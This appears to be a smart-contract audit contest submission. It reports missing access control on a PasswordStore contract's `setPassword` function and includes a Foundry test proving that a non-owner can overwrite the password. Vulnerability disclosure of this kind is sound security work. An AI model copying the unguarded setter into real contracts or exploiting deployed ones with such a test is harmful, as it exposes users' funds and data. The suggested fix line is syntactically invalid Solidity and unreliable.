An attacker can change the password set by the password owner to a new one.
function setPassword(string memory newPassword) external {
s_password = newPassword;
emit SetNetPassword();
}
https://github.com/Cyfrin/2023-10-PasswordStore/blob/856ed94bfcf1031bf9d13514cb21b591d88ed323/src/PasswordStore.sol#L26-L29
The setPassword function is vulnerable because of two things. One, the visibility of the function is set to external
. By this, anyone can call the function. Two, there is no access control in place that restricts who can call the function.
Anyone can call the function and set a new password.
Here's a foundry test showing this vulnerability, particularly the testNonOwnerCanSetPassword():
Note: The test uses the exact environment setup provided for the contest - with the addition of the testNonOwnerCanSetPassword().
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {PasswordStore} from "../src/PasswordStore.sol";
import {DeployPasswordStore} from "../script/DeployPasswordStore.s.sol";
contract PasswordStoreTest is Test {
PasswordStore public passwordStore;
DeployPasswordStore public deployer;
address public owner;
address anyUser = address(2);
function setUp() public {
deployer = new DeployPasswordStore();
passwordStore = deployer.run();
owner = msg.sender;
}
function test_owner_can_set_password() public {
vm.startPrank(owner);
string memory expectedPassword = "myNewPassword";
passwordStore.setPassword(expectedPassword);
string memory actualPassword = passwordStore.getPassword();
assertEq(actualPassword, expectedPassword);
}
function testNonOwnerCanSetPassword() public {
// Switch to non-owner account
vm.startPrank(address(2));
string memory expectedPassword = "newPassword";
// Set new password as non-owner
passwordStore.setPassword(expectedPassword);
vm.stopPrank();
// Switch back to owner account since only "owner" can call "getPassword()"
vm.startPrank(owner);
// Owner retrieves password
string memory actualPassword = passwordStore.getPassword();
// Assert actual password matches what non-owner set
assertEq(actualPassword, expectedPassword);
}
function test_non_owner_reading_password_reverts() public {
vm.startPrank(address(1));
vm.expectRevert(PasswordStore.PasswordStore__NotOwner.selector);
passwordStore.getPassword();
}
}
An attacker can change the password set by the password owner to a new one.
Manual review
Access to the setPassword function should be restricted to only the owner. Like so:
if (msg.sender != s_owner) revert "Not owner";
Anyone can call `setPassword` and set a new password contrary to the intended purpose.
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.